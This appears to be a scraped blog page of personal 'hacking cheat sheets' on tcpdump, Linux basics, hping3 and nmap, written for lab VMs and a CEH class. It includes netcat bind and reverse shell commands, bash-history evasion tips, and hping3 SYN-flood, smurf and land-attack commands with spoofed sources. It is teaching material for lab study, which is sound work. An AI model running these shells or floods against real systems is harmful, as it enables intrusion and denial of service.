Part 1 of my xss series
Color Me Curious

if i look back, i am lost
Show & Tell

Jar Jar Binks Fan Club
Game of Thrones Daily
NASA

#extradirty
Cookie Run:Kingdom Official!

Product Placement
★
Phantogram Three
occasionally subtle
KIROKAZE
No title available
sheepfilms
macklin celebrini has autism
🪼
ojovivo
h
PUT YOUR BEARD IN MY MOUTH
seen from Argentina
seen from Brazil
seen from Spain

seen from United States

seen from United States
seen from Spain

seen from Malaysia
seen from South Africa
seen from United States

seen from Germany

seen from United States
seen from United States

seen from Singapore

seen from United States

seen from China

seen from Spain
seen from United States
seen from Türkiye

seen from Türkiye
seen from Colombia
@shikataganaipoly
Part 1 of my xss series
this episode is about basic exploitation using Metasploit
part 2 of my xss series
part 3 of my xss series
Today we teach you how to create a simple virus using metasploit
Part 2 of my manual sql injection series
First part in a series on manual sql injection
In todays episode we cover basic command injection against a linux server
In this episode of the hacking series we are bypassing a standard special character filter by using Burp Suite
Hacking Cheat Sheets Part : Tcpdump
Some people ask me why would I use tcpdump command line packet sniffer instead of wireshark GUI packet sniffer. My reply is you wont always have access to GUI when working on a particular victim machine, but most unix and linux come with tcpdump by default. So knowing how to do packet captures and read them in tcpdump is an essential skill.
tcpdump stuff. reason to use this is in some cases you cant run wireshark, you can run tcpdump on pretty much any system
* First off, I like to add a few options to the tcpdump command itself, depending on what I’m looking at. The first of these is -n, which requests that names are not resolved, resulting in the IPs themselves always being displayed. The second is -X, which displays both hex and ascii content within the packet. The final one is -S, which changes the display of sequence numbers to absolute rather than relative. The idea there is that you can’t see weirdness in the sequence numbers if they’re being hidden from you. Remember, the advantage of using tcpdump vs. another tool is getting manual interaction with the packets.
* It’s also important to note that tcpdump only takes the first 68 96 bytes of data from a packet by default. If you would like to look at more, add the -s number option to the mix, where number is the number of bytes you want to capture. I recommend using 0 (zero) for a snaplength, which gets everything. Here’s a short list of the options I use most:
-i any : Listen on all interfaces just to see if you’re seeing any traffic. -n : Don’t resolve hostnames. -nn : Don’t resolve hostnames or port names. -X : Show the packet’s contents in both hex and ASCII. -XX : Same as -X, but also shows the ethernet header. -v, -vv, -vvv : Increase the amount of packet information you get back. -c : Only get x number of packets and then stop. -s : Define the snaplength (size) of the capture in bytes. Use -s0 to get everything, unless you are intentionally capturing less. -S : Print absolute sequence numbers. -e : Get the ethernet header as well. -q : Show less protocol information. -E : Decrypt IPSEC traffic by providing an encryption key. [ The default snaplength as of tcpdump 4.0 has changed from 68 bytes to 96 bytes. While this will give you more of a packet to see, it still won't get everything. Use -s 1514 to get full coverage ]
* Basic communication // see the basics without many options # tcpdump -nS
* Basic communication (very verbose) // see a good amount of traffic, with verbosity and no name help # tcpdump -nnvvS
* A deeper look at the traffic // adds -X for payload but doesn’t grab any more of the packet # tcpdump -nnvvXS
* Heavy packet viewing // the final “s” increases the snaplength, grabbing the whole packet # tcpdump -nnvvXSs 1514
* Expressions allow you to trim out various types of traffic and find exactly what you’re looking for. Mastering the expressions and learning to combine them creatively is what makes one truly powerful with tcpdump. There are three main types of expression: type, dir, and proto. Type options are host, net, and port. Direction is indicated by dir, and there you can have src, dst, src or dst, and src and dst. Here are a few that you should definitely be comfortable with:
* host // look for traffic based on IP address (also works with hostname if you’re not using -n) # tcpdump host 1.2.3.4
* src, dst // find traffic from only a source or destination (eliminates one side of a host conversation) # tcpdump src 2.3.4.5 # tcpdump dst 3.4.5.6
* net // capture an entire network using CIDR notation # tcpdump net 1.2.3.0/24
* proto // works for tcp, udp, and icmp. Note that you don’t have to type proto # tcpdump icmp (show this by doing hping3 -I eth0 -S -c 4 10.0.0.115, and seeing this displays nothing and then do a ping and see it displays that)
* port // see only traffic to or from a certain port # tcpdump port 3389
* src, dst port // filter based on the source or destination port # tcpdump src port 1025 # tcpdump dst port 389
* src/dst, port, protocol // combine all three # tcpdump src port 1025 and tcp # tcpdump udp and dst port 53 (do this one and bring up firefox and go to a page) # tcpdump tcp and dst port 53 (do this one and then do dig google.com axfr)
* You also have the option to filter by a range of ports instead of declaring them individually, and to only see packets that are above or below a certain size.
* Port Ranges // see traffic to any port in a range tcpdump portrange 21-23
* Packet Size Filter // only see packets below or above a certain size (in bytes) tcpdump less 32 tcpdump greater 128 [ You can use the symbols for less than, greater than, and less than or equal / greater than or equal signs as well. ] // filtering for size using symbols tcpdump > 32 tcpdump <= 128
* tcpdump allows you to send what you’re capturing to a file for later use using the -w option, and then to read it back using the -r option. This is an excellent way to capture raw traffic and then run it through various tools later. The traffic captured in this way is stored in tcpdump format, which is pretty much universal in the network analysis space. This means it can be read in by all sorts of tools, including Wireshark, Snort, etc.
* Capture all Port 80 Traffic to a File # tcpdump -s 1514 port 80 -w capture_file
* Read Captured Traffic back into tcpdump # tcpdump -r capture_file
* Expressions are nice, but the real magic of tcpdump comes from the ability to combine them in creative ways in order to isolate exactly what you’re looking for. There are three ways to do combinations, and if you’ve studied computers at all they’ll be pretty familar to you:
AND and or && OR or or || EXCEPT not or !
# TCP traffic from 10.5.2.3 destined for port 3389
tcpdump -nnvvS and src 10.5.2.3 and dst port 3389
# Traffic originating from the 192.168 network headed for the 10 or 172.16 networks
tcpdump -nvX src net 192.168.0.0/16 and dst net 10.0.0.0/8 or 172.16.0.0/16
# Non-ICMP traffic destined for 192.168.0.2 from the 172.16 network
tcpdump -nvvXSs 1514 dst 192.168.0.2 and src net and not icmp
# Traffic originating from Mars or Pluto that isn't to the SSH port
tcpdump -vv src mars and not dst port 22
* As you can see, you can build queries to find just about anything you need. The key is to first figure out precisely what you're looking for and then to build the syntax to isolate that specific type of traffic.
* Also keep in mind that when you're building complex queries you might have to group your options using single quotes. Single quotes are used in order to tell tcpdump to ignore certain special characters -- in this case the "( )" brackets. This same technique can be used to group using other expressions such as host, port, net, etc. Take a look at the command below
* # Traffic that's from 10.0.2.4 AND destined for ports 3389 or 22 (incorrect) tcpdump src 10.0.2.4 and (dst port 3389 or 22)
* If you tried to run this otherwise very useful command, you'd get an error because of the parenthesis. You can either fix this by escaping the parenthesis (putting a \ before each one), or by putting the entire command within single quotes:
# Traffic that's from 10.0.2.4 AND destined for ports 3389 or 22 (correct) tcpdump 'src 10.0.2.4 and (dst port 3389 or 22)'
* You can also filter based on specific portions of a packet, as well as combine multiple conditions into groups. The former is useful when looking for only SYNs or RSTs, for example, and the latter for even more advanced traffic isolation.
[ Hint: An anagram for the TCP flags: Unskilled Attackers Pester Real Security Folk ] the numbers below say look at offset 13 in the header and the numbers after the & represent its binary placement (fin is 1, syn is 2, rst is 4 and so on). where they get the 13th offset is if you look at a picture of a tcp header each line is represented by 4 bytes, so the first line is bytes 0-3(src port and dst port), the next line is bytes 4-7 (sequence number), next is 8-11 (ack number), next is 12-15 (offset,flags,and window length) so this line we see byte 12 is the offset, byte 13 takes up the flags section in the header). Try each of these using hping3 -I eth0 -S -c 4 -p 80 10.0.0.115 for the syn flag one. The other ones you may need to take out the port 80 bit to get it to send
Show me all URGENT (URG) packets...
# tcpdump 'tcp[13] & 32!=0'
Show me all ACKNOWLEDGE (ACK) packets...
# tcpdump 'tcp[13] & 16!=0'
Show me all PUSH (PSH) packets...
# tcpdump 'tcp[13] & 8!=0'
Show me all RESET (RST) packets...
# tcpdump 'tcp[13] & 4!=0'
Show me all SYNCHRONIZE (SYN) packets...
# tcpdump 'tcp[13] & 2!=0'
Show me all FINISH (FIN) packets...
# tcpdump 'tcp[13] & 1!=0'
Show me all SYNCHRONIZE/ACKNOWLEDGE (SYNACK) packets...
# tcpdump 'tcp[13]=18'
[ Note: Only the PSH, RST, SYN, and FIN flags are displayed in tcpdump's flag field output. URGs and ACKs are displayed, but they are shown elsewhere in the output rather than in the flags field ]
* Keep in mind the reasons these filters work. The filters above find these various packets because tcp[13] looks at offset 13 in the TCP header, the number represents the location within the byte, and the !=0 means that the flag in question is set to 1, i.e. it's on.
* Finally, there are a few quick recipes you'll want to remember for catching specific and specialized traffic, such as IPv6 and malformed/likely-malicious packets.
* # tcpdump ip6 --------------------------------------------------------------------------------------------
* most common one is tcpdump -nni eth0. the -n is dont resolve host names, the second n tells tcpdump to display port numbers only
* some basic syntax: -nn = dont use dns to resolve ips and display port numbers -i = interface to watch dst = watch only traffic destined to a net, host, or port src = watch only traffic whose source is a net, host, or port net = specifies a network 10.0.0.0/24 host = specifies a host 10.0.0.115 port = specifies a port also a portrange proto = protocol is tcp udp icmp
* some examples: * tcpdump -nni eth0 host 10.0.0.115 * tcpdump -nni eth0 dst host 10.0.0.115 and proto tcp * tcpdump -nni eth0 src not 10.0.0.0/24 and proto tcp and portrange 1-1024
* so do a tcpdump -nni eth0 host 10.0.0.115 (or whatever your metasploitable2 is ) and then bring up a separate window and ping 10.0.0.115. see the traffic that comes through
* scoping it down this way makes it easier to go through tons of data
* so these commands here are only going to show you the headers of the packet, not the actual data. thats where s0 comes in
* -s0 (thats a zero) sets the snaplength to 0 which means use the required length to catch whole packets.
* -A prints each packet (minus its link level header) in ASCII
* tcpdump -s0 -A -nni eth0 dst host 10.0.0.115 and ping it from second terminal
* tcpdump -s0 -A -nni eth0 dst host 10.0.0.115 and dst port 80 * now nc 10.0.0.115 80 and see the results
* tcpdump -s0 -A -nni eth0 dst host 10.0.0.115 and dst port 80 and src net 10.0.0.0/24 * do another netcat to 80
* tcpdump -s0 -A -nni eth0 dst net 10.0.0.0/24
* you could also ignore net ranges and ports too like: * tcpdump -s0 -A -nni eth0 not port 22 and dst host 10.0.0.115 and not src net 192.168.1.0/24 and not host 10.0.0.101 * doing our netcat here still yields the same
* you cant limit the size of the pcap, only the packets count
* lets make a pcap file
* tcpdump -vv -c10000 -s0 -A -w raystester.pcap -nni eth0 not port 22
-c = count of packets to display for exiting -vv = displays the number of packets captured -w = write the raw packets to file
* run netcat again and then hit enter a couple times and ctrl + c * now to view that data (r = read from file) type: * tcpdump -s0 -A -nn -r raystester.pcap
* you can also do wireshark raystester.pcap & and view those packets in wireshark
* now lets see how we can use tcpdump to quickly see what flags are in the packet
* tcpdump -s0 -A -nni etho dst host 10.0.0.115 * now in second terminal type hping3 -I eth0 -P -c 5 10.0.0.115 * review the packets and see the order tcpdump does it in. First is the timestamp, second is the src address and port , thirds is the dst address and port and fourth is the Flags where the P is
Hacking Cheat Sheets Part 3: Linux
Here is a little primer on some basic Linux, which is important for hacking
Linux Operating System
Linux File System
/ Root of the file system /var Variable data, log files are found here /bin Binaries, commands for users /sbin System Binaries, commands for administration /root Home directory for the root user /home Directory for all home folders for non-privileged users /boot Stores the Linux Kernel image and other boot files /proc Direct access to the Linux kernel /dev direct access to hardware storage devices /mnt place to mount devices on onto user mode file system
Identifying Users and Processes
INIT process ID 1 Root UID, GID 0 Accounts for services 1-999 All other users Above 1000
ring 0 in the security rings model, is where the kernel lies in linux ring 1 and ring 3 is where device drivers lie ring 3 is the users space and this is where init is and applications, etc.
init executes scripts to setup all non-os services and structures for the user environment. it also checks and mounts the file system and spawns the gui if its configured to do so. it will then present the user with the logon screen. init scripts are usually located in the etc/rc..../
</> is the root directory, this is where the linnux file system begins. every other directory is underneath it. do not confuse it with teh root account or the root accounts home directory
</etc> these are the config files for the linux system. Most are text files and can be edited
</bin> and </usr/bin> these directories contain most of the binaries for the system. The /bin directory contains the most important programs : shells, ls, grep. /usr/bin contains other applications for the user.
</sbin> and </usr/sbin> most system administration programs are here
</usr> most user applications, their source code, pictures,docs,and other config files. /usr is the largest directory on a linux system
</lib> the shared libraries (shared objects) for programs that are dynamicaly linked are stored here
* </boot> boot info is stored here. the linux kernel is also kept here, the file vmlinuz is the kernel
* </home> where all the users home directories are. every user has a directory under /home and its usually where they store all their files
* </root> the superusers (root) home directory
* </var> contains frequently changed variable data when the system is running. also contains logs (/var/log), mail ( /var/mail), and print info (/var/spool)
* </tmp> scratch space for temporary files
* </dev> contains all device info for the linux system. Devices are treated like files in linux, and you can read/write to them just like files (for the most part)
* </mnt> used for mount points. HDs , usbs, cd roms must be mounted to some directory in the file system tree before being used. Debian sometimes uses /cdrom instead of /mnt
* </proc> this is a special and interstinng directory. its actually a virtual directory because it doesnt actually exist. it contains info on the kernel and all processes info. contains special files that permit access to the current configuration of the system
file permissions are specified in terms of the permissions of 1. the file owner (self) 2. the files group members (group/business) 3. and everyone else (other)
* she-bang is #! and you would use this when writing a shell script at the beginning of the script. You will need to point it to teh interpreter which in linux bash is #!/bin/sh
• Ls to list whats in the directory, ls -la for hidden files • When using cd to change directories remember the 2 ways is absolute path and relative path. Absolute path is in relation to the root directory, so if I wanted to change to the desktop from anywhere I type the absolute path to the desktop which is cd /root/desktop. If I was in the root directory I could use the relative path to the desktop (that is relative to your current location) with cd Desktop (it is case sensitive). The command cd .. takes you one level back in the filesystem • Man pages: to learn more about the ls command you can do man ls and that will list the man page about it. Q quit • Adding a user: by default the kali login is a privileged account because many tools require root to run. You should add an underprivileged account for everyday use. Adduser ray this will add a user and put it in group 1000 and create a home directory at /home/ray. It will then ask for a password twice, put one in. then it will ask for extra values optional like full name, work number , etc. Now I may need to do something as root as my regular user so I need superuser privileges added to my new user. We do that with adduser ray sudo . now if I want to switch to my regular user I do su ray . lets say I want to test if its underprivileged, try typing in adduser smojoe and see that it says command not found, that’s because we are underprivileged. Now try sudo adduser smojoe and put your password it and see that you can now add the user. If you want to switch back to root type su, then the root password which by default is toor. To change your root password type passwd and hit enter, then type in the new password twice. • Creating a new file: to make a new empty file type touch raysfile . • Make a new directory: mkdir raysdirectory • Copying, moving and removing files: to copy a file use the cp command with the syntax of cp source destination: cp /root/raysfile raysfile2. To move a file its identical to copy except you use mv: mv /root/raysfile2 /root/raysdirectory. To remove a file type rm raysfile2. (side note , rm -rf deletes the entire filesystem because the r removes recursively) • Adding text to a file: echo by itself will just repeat what you type in the terminal window. So echo im captain awesome will repeat this phrase back to you in the terminal. To put it in a file you use the > redirect command: echo im captain awesome > raysfile. To see the contents of it you type: cat raysfile. Now lets say I want to add more text to it, if you type echo im captain awesome again > raysfile and then cat it, you will notice that it overwrote what was there previously. We need to append with >> instead of the single >. So the command would be: echo im captain awesome a third time >> raysfile. Cat that and you will see it appended it to a new line • File permissions: lets see what permissions my file has: ls -l raysfile. From left to right its first the file type (if it’s a directory or a file) then it’s the permissions (-rw-r-r--) then the number of links to the file (1), then the user and group that own the file (root), then the file size (however many bytes), then the last time the file was edited (the date and time) and finally the name of the file (raysfile). For permissions linux has read (r), write (w), and execute (x). there is also 3 sets of user permissions for owner, group, and all users. So the first 3 parts are for owner, the next 3 are for group and the final 3 are for all users. So the -rw-r-r—means that the owner gets read/write, the group gets read only, and all other users get read only. Because I made the file while logged in as root you will see root root after the permissions. To change permissions for a file use the chmod command, when specifying the permissions use number 0-7. So they would be like: o 7 full permissions 111 binary o 6 read and write 110 binary o 5 read and execute 101 binary o 4 read only 100 binary o 3 write and execute 011 binary o 2 write only 010 binary o 1 execute only 001 binary o 0 none 000 binary • Chmod: so lets say I want to give the owner execute, read and write and the group and everyone else gets no permissions I would do chmod 700 raysfile. This is because the order for that in the binary of 111 is rwx as in read first then write then execute. The first initial dash – is stating that it’s a file, if it had a D there it would indicate that it is a directory. • you can also do it by letter notation where: u = user owner, g = group owner, o = others or world, and a = all. so for example, if the file is already rwx------ and then i type chmod g+w, then it would read rwx-w----, meaning i added (+) the write capability to the group section. if i did chmod a+x that would now read rwx-wx--x meaning everybody (owner, group and world) have execute privileges now. if i did chmod a-x, now it would read rw--w---- meaning i have removed the execute privilege from everyone. • Editing files: your not always going to have a gui text editor, especially when you break into a linux and get shell, so you need to be familiar with the shell version editors like nano and vi. So if I want to make a new file and edit it simultaneously I would type: nano testfile.txt. once this opens up you can start entering text (enter in chuck Norris knows victorias secret)and when your done you do ctrl-x and it will ask you if you want to save it, type Y and hit enter. Lets bring that testfile back up by typing nano testfile.txt again, now lets do a search for the word chuck. Do a ctrl-w and in the box type chuck and hit enter, it should bring the flashing cursor to the c in chuck. Ctrl-x again and hit y to save and enter. Now lets try vi editor, type vi testfile.txt. in its current state you cant enter text yet because you have to hit I (as in the letter i) to insert and start adding text. Add some text to the file, when your done hit escape to come back to command mode, here you can do stuff like delete words by positioning the cursor over a letter and hitting D and depending on which arrow key you do it will delete the letter. For example the word test, if the cursor is over the “e” and I hit d and then right arrow it deletes the “e”. now the cursor is over the “s” and the word says “tst”. If I hit D while the cursor is over the “s” and hit my left arrow it deletes the “t”, keeping the “s” intact. Kinda weird stuff, I prefer nano. If you position the cursor on a line and hit dd it will delete the whole line. To exit vi and to write the changes to the file you type :wq , w for write and q for quit. To learn more about these look to the man pages. • Data manipulation: lets make a file with touch raystest and make it look like below: 1 warrior favorite 2 300 favorite2 3 braveheart favorite3 • Grep: now lets find all instances of a word, type: grep favorite raystest. This should output all 3 lines, now lets type: grep warrior raystest, this should output just the line that has warrior on it. Notice how it dumps the whole line not just the word. Now lets just find and output a word from the file using the pipe command. Type: grep warrior raystest | cut -d “ “ -f 2 in this command the -d is for delimiter, which in this case would be the space that’s in the line (1 warrior favorite), and the -f is the field in that line, being the second column. So its saying that in the second column if there is a word called warrior then output it to screen (warrior, 300 and braveheart are in the second column). Notice that if you rerun that command and change the -f 2 to a -f 3 it will output the word “favorite”, this is because it found the word warrior, so take that line and give me the value of whats in the 3rd column. • Sed: you can also use sed to manipulate the data based on certain patterns and expressions. So lets say I had a long file and I needed to replace every instance of a certain word, sed is what you can use. With sed a / is the delimiter character, so lets say I wanted to replace every instance of favorite with awesome, type: sed ‘s/favorite/awesome/’ raystest this should output the text from our file but now it will say awesome, awesome2, and awesome3 • Awk: you can use to do pattern matching, so lets say in my file I wanted to find entries in the first column that were higher than 1, I would type: awk ‘$1 > 1’ raystest this will output the 2nd and 3rd line of my file. Then if I only wanted it to say “1 warrior, 2 300, and 3 braveheart” thus omitting the favorite words, I would type: awk ‘{print $1,$2;}’ raystest thus telling it to print to screen only the first and second columns. • Starting services: when you do a fresh install of kali linux, postgresql and metasploit are not started by default, so if you want to start a service you type: service postgresql start, or service apache2 start, etc. now to make these start on bootup you have to manipulate the update-rc.d, so type: update-rc.d postgresql enable, then type in update-rc.d metasploit enable, now when you restart kali it will auto start these services • Setting up networking in kali: ifconfig is the command to list the same stuff ipconfig does. The command route will show you the routing tables including what your gateway is. So to set a static address just on the fly you find what your eth interface number is and type: ifconfig eth0 10.0.0.20/24 to put this in a class c address. To make sure the static address persists upon restarts you have to edit the file under /etc/network/interfaces. I just opened this in leafpad, note the auto lo, iface lo inet loopback lines, that’s for the loopback address. So comment out the next section which is probably the dhcp ones, right below it type in: auto eth0 iface eth0 inet static address 10.0.0.20 netmask 255.255.255.0 gateway 10.0.0.4
once that’s done, save it and then restart networking with the command: service networking restart
• To view network connections such as ports listening , etc, type: netstat -antp • Netcat: they call this the swiss army knife for hackers, lets do some exercises with it. First start by looking at the help file nc -h 1. Lets check to see what ports are listening,(first start the apache2 service) type: nc -v <the address of your kali machine> 80 2. If you had started the apache service you should see it shows there as open 3. You can also set up a listener port, type: nc -lvp 1234 4. The l here is for listen, the v is for verbose, the p is to specify the port to listen on 5. Lets open up a second terminal window and use netcat to connect to the listener 6. In the second terminal type: nc 10.0.0.100 1234 and hit enter 7. The first terminal should show you connected 8. Now lets chat from the second terminal by typing : sup and hit enter 9. The word “sup” should show on the first terminal 10. In the first terminal do the same and it should show up on the second terminal 11. Ctrl –c (by the way you could demo this by using metasploitable2 and kali as well) 12. Now lets say we want our listener (victim) to give the second terminal (attacker) a bash shell when they connect 13. On first terminal type: nc -lvp 1234 -e /bin/bash (the -e is to set an executable) 14. In the second terminal type: nc 10.0.0.100 1234 and hit enter 15. It wont show anything but give it a second (you may have to hit enter on the first terminal to get it to register that it connected) and in the second terminal window type in whoami in the terminal and it should show root 16. Type in “id” and you should see the uid, gid and groups all showing root (0) 17. Ctrl-c 18. In addition to giving a shell from the listener you can also push a shell back to the listener 19. On the first terminal type: nc -lvp 1234 20. On the second terminal type : nc 10.0.0.100 1234 -e /bin/bash (if doing this from win 7 replace /bin/bash with cmd.exe) 21. Back on your first terminal type in whoami and you should see root 22. Ctrl-c 23. Now lets send a file using netcat 24. In the first terminal type: nc -lvp 1234 > netcatfile (this is basically setting up an empty file on the listener to receive a file from the attacker and stuff it in this file) 25. In the second terminal type: nc 10.0.0.100 1234 < raystest (this is if you did the previous exercises) 26. Ctrl-c and now in the first terminal type: cat netcatfile, it should contain the same text from raystest (1 warrior favorite, etc)
* if i type history in bash it will show me all the commands that i recently typed. This is good for quick re commands but bad if a hacker gets a hold of this because it will also have the passwords i entered. so like if i was downloading with wget and i did like --user ray --password lamepassword http://somesite.com , this stuff gets logged in bash history. so how about we store our passwords in temporary variables like so: so for this we need to define a variable and we do this with the read command. read -e -s -p "pass?" password hitting enter should put us in an interactive prompt showing pass? and here is where we type in our password (you cant see it as you type it). -e is If the standard input is coming from a terminal, readline is used to obtain the line. -s is Silent mode. If input is coming from a terminal, characters are not echoed. -p mode is The prompt is displayed only if input is coming from a terminal. we can do echo $password to see the password i just typed. so now our wget command would look like this : wget --user ray --password "$password" http://somesite.com. run history again and see that the plain text password is not there.
* export HISTORYCONTROL=ignorespace is a way to get around having some stuff recorded in bash history. Now if i type a space (sometimes two spaces if it doesnt work) before my command it will not record it in bash history.
* also you can do export HISTIGNORE="pass:wget:ls" and now the history will ignore anything with the words pass, wget, and ls.
* if i type password=1234 then echo $password , it will echo that value of 1234. but if i do unset password, this will release the variable and when i type echo $password i get nothing
* if i want to delete something out of history i type history -d and then the number of that entry in history. so like history -d 15 will delete whatever is in the 15th history entry.
keyboard shortcuts: if im at the end of a line, hitting my home key brings me back to beginning. the end key will bring you back to the end of the line. control + U clears the whole line (as opposed to me backspacing all of it). control + L clears the screen.
lsof will show a list of open files. I can check all the details including the tcp connections and addresses of a firefox instance i have up and running by typing lsof -i -n -P | grep firefox. the -i option selects the listing of files any of whose Internet address matches the address specified in i. If no address is specified, this option selects the listing of all Internet and x.25 (HP-UX) network files. the -n option inhibits the conversion of network numbers to host names for network files. Inhibiting conversion may make lsof run faster. It is also useful when host name lookup is not working properly. the -P option inhibits the conversion of port numbers to port names for network files. Inhibiting the conversion may make lsof run a little faster. It is also useful when port name lookup is not working properly.
try netstat -tupac, lotsa info on your current connections
df command shows you the current free disk space, free command shows you the current free memory
pwd is print working directory
if i want to list all the stuff in Documents and list all the stuff in Pictures, I dont have to do 2 ls commands I just type ls Documents Pictures and it will show both (not backtrack but just regular ubuntu or similar distro
* ls -lt will add a time option to the list
* if i want to find out what type of file i have i type in file then the name of the file. example: file dateping.sh will tell me its a posix shell script
* less command lets me view a text files contents in terminal. Q will quit me out of there
* wildcards: if i wanted to move any files that start with the letters "up" i would type mv [up]*, now anything that starts with "u" , mv u*, now anything that starts with "u" and is the extension of .bin, mv u*.bin.
* filenames are case sensitive (like when moving and copying)
* spaces in filenames confuse bash as well
* two exclamation marks !! will run the last command
* type command will tell me what time of command im running. For instance if i wanted to see what type of command "type" is i type in type type, and it will show that its a shell builtin command
* which command will tell me where the commands are found. so if i type in which ls, it will show that the ls command is found in /bin/ls. it doesnt work for aliases to executables, like if i typed in which cd i get nothing as its just an alias for change directory
* help cd will tell me about the cd command
* mkdir --help will tell me help about mkdir
* man ls will give me the manual page for ls, I hit q to get out of it.
* apropos will show me all instances of a word , like apropos passwd.
* whatis will also tell me what a command is, whatis ls
* info will give me verbose info about a command
* i can chain commands together on the same line using semicolons between each command. So if i wanted to change to a directory and also look at its contents, then send me back to my working directory: cd /usr; ls;cd - would do this for me
* now lets say i wanted to make that last command an alias called foo, i would do alias foo='cd /usr;ls;cd -' now i can just type foo and it will run it. This will not persist when i close the terminal however. to make it permanent, gedit .bashrc and under the section that has aliases, put your alias there and save it. then close the current terminal and reopen it and you should be able to use it now with the alias name. if you do type myfoo you will see all the commands that are strung. You can move that bashrc file to other machines to persist your aliases across other machines
* unalias foo will take away that alias
* all the programs in the terminal give you some sort of output, whther it be a result or an error message. these are sent over to a file called standard output, stdout for short. that messages to a file called standard error, stderr for short. by default these files arent saved to the disk. the keyboard is automatically tied to the stdin , which is standard input. so we can change where the output goes and where the input comes from, rather than just the keyboard. so if i did ls -l /usr/bin in the terminal it will print to screen, but if i do ls -l /usr/bin > ls-output.txt, it will output it to a text file. Now if i had this file and typed ls -l /bin/usr > ls-output.txt, this will give an error because /bin/usr doesnt exist. This will also overwrite whatever was previously in the ls-output.txt file. this means it will be empty because it will have started writing to it , but stopped when it got this error. now if i want to append files to an existing one and not overwrite the data in it it use >> so like ls -l /usr/bin >> ls-output.txt, and then ls -l /usr/bn >> ls-output.txt will make this file doubled in size.
* cat is used to display the results as well, like cat ls-output.txt will print to console all of the content in that file. i can also use it to concatenate or join various files that are in succession. example, if i had movie.avi.001, movie.avi.002, and movie.avi.003 and i wanted to join them together i would type cat movie.avi.0* > movie.avi. I can also use cat to make content for a new text file. So if i type cat > newtext.txt and hit enter it will just wait there for input. So if i type the words this is a test and hit enter then type of the broadcast network and hit ctrl + d, ctrl + d , it will bring me back to the prompt. then if i open that text file it will have the content in there as i typed it.
* echo with a letter then an asterix will show you all the files in your current directory that start with that letter. echo *p will show all the files in this directory that start with p. this is also case sensitive. echo [[:upper:]]* will show everything in this dir that is uppercased.
* to find hidden files iin the directory your in : ls -d .[!.]?* you could also use ls -la
Hacking Cheat Sheets Part 2: HPING3
Some of these examples are from a CEH class I teach so change the ip addresses and vm’s accordingly. Also note that hping3 is no longer being supported but it has been put into nmap as a tool called nping.
* TCP scan: hping 3 -V --scan 1-100 -S 10.10.10.12 to scan the first 100 ports of the windows 2012 machine. (the -S is setting the syn flag).
o Lets spoof an address to port 80 on the server 2008 machine. Run wireshark first on eth5 Hping3 -I eth5 -a 1.2.3.4 -p 80 -S -c 10 10.10.10.8 (-a for spoof) o Now lets do a syn flood with random source addresses. Wireshark running Hping3 --flood --rand-source -p 80 -S 10.10.10.8 o Lets try sequence number prediction (will probably fail because windows implements alsr) Hping3 10.10.10.8 --seqnum -p 139 -S -i u1 -I eth5 o Lets do an icmp ping (remember hping default is tcp. We will have to choose number 1 as that is icmp mode) run wireshark Hping3 -1 10.10.10.8 o Lets do an ACK scan Hping3 -A 10.10.10.8 -p 80, this should send an RST if open unless its windows, which this is so you will always get an rst o Lets do an xmas attack , run wireshark Hping3 -F -P -U 10.10.10.8 -p 80 o Smurf attack (doesn’t work with windows, because windows systems don’t respond to broadcast pings) run with wireshark to see the flooded traffic Hping3 -1 --flood -a 10.10.10.8 10.10.10.255 o Now lets do a Land attack, bring up the server 2008 vm and bring up task manager and show the performance tab with the cpu: Hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source 10.10.10.8 this should send -d (data size) 120 with a count of 1000000 syn packets, with 445 as the destination and the source. If you check the server 2008 machine you should see the cpu moving up quickly
Hacking Cheat Sheets Part 1: Nmap
Here’s a cheat sheet I made for some common nmap commands, the formatting was a bit off so if you see a bullet point that starts with an f, its supposed to be an @ symbol.
nmap:
* The following command checks the state of the most popular ports on the host scanme.nmap.org by launching a TCP port scan:$ nmap scanme.nmap.org
* Nmap begins by converting the hostname to an IPv4 address using DNS. If you wish to use a different DNS server, use --dns-servers <serv1[,serv2],...>, or use -n if you wish to skip this step, as follows:$ nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org
* Afterwards, it pings the target address to check if the host is alive. To skip this step use –PN as follows:$ nmap -PN scanme.nmap.org
* Nmap then converts the IPv4 address back to a hostname by using a reverse DNS call. Use -n to skip this step as follows:$ nmap -n scanme.nmap.org
* Finally, it launches a TCP port scan. To specify a different port range, use -p[1-65535], or -p- for all possible TCP ports, as shown in the following command:$ nmap -p1-30 scanme.nmap.org
* Nmap categorizes ports into the following states: 1. Open: This indicates that an application is listening for connections on this port 2. Closed: This indicates that the probes were received but there is no application listening on this port 3. Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering 4. Unfiltered: This indicates that the probes were received but a state could not be established 5. Open/Filtered: This indicates that the port was filtered or open but Nmap couldn't establish the state 6. Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn't establish the state.
* Version detection is one of the most popular features of Nmap. Knowing the exact version of a service is highly valuable for penetration testers who use this service to look for security vulnerabilities, and for system administrators who wish to monitor their networks for any unauthorized changes. Fingerprinting a service may also reveal additional information about a target, such as available modules and specific protocol information.
* $ nmap -sV scanme.nmap.org
* This feature basically works by sending different probes from nmap-service-probes to the list of suspected open ports. The probes are selected based on how likely it is that they can be used to identify a service.There is very detailed documentation on how the service detection mode works, and the file formats used, at http://nmap.org/book/vscan.html
* Nmap has a special flag to activate aggressive detection, namely -A. Aggressive mode enables OS detection (-O), version detection (-sV), script scanning (-sC), and traceroute (--traceroute). Needless to say this mode sends a lot more probes and it is more likely to be detected, but provides a lot of valuable host information. You can see this by using one of the following commands:# nmap -A <target>
* Finding live hosts in a network is often used by penetration testers to enumerate active targets, and by system administrators to count or monitor the number of active hosts. Thi sis a ping scan: $ nmap -sP 192.168.1.1/24
* ARP requests are used when scanning a local Ethernet network as a privileged user, but you can override this behavior by including the flag --send-ip.# nmap -sP --send-ip 192.168.1.1/24
* Ping scanning does not perform port scanning or service detection, but the Nmap Scripting Engine can be enabled for scripts depending on host rules, such as the cases of sniffer-detectand dns-brute.# nmap -sP --script discovery 192.168.1.1/24
* There are situations when a system administrator is looking for infected machines that use a specific port to communicate, or when users are only looking for a specific service or open port and don't really care about the rest. Narrowing down the port ranges used also optimizes performance, which is very important when scanning multiple targets.# nmap -p80 192.168.1.1/24
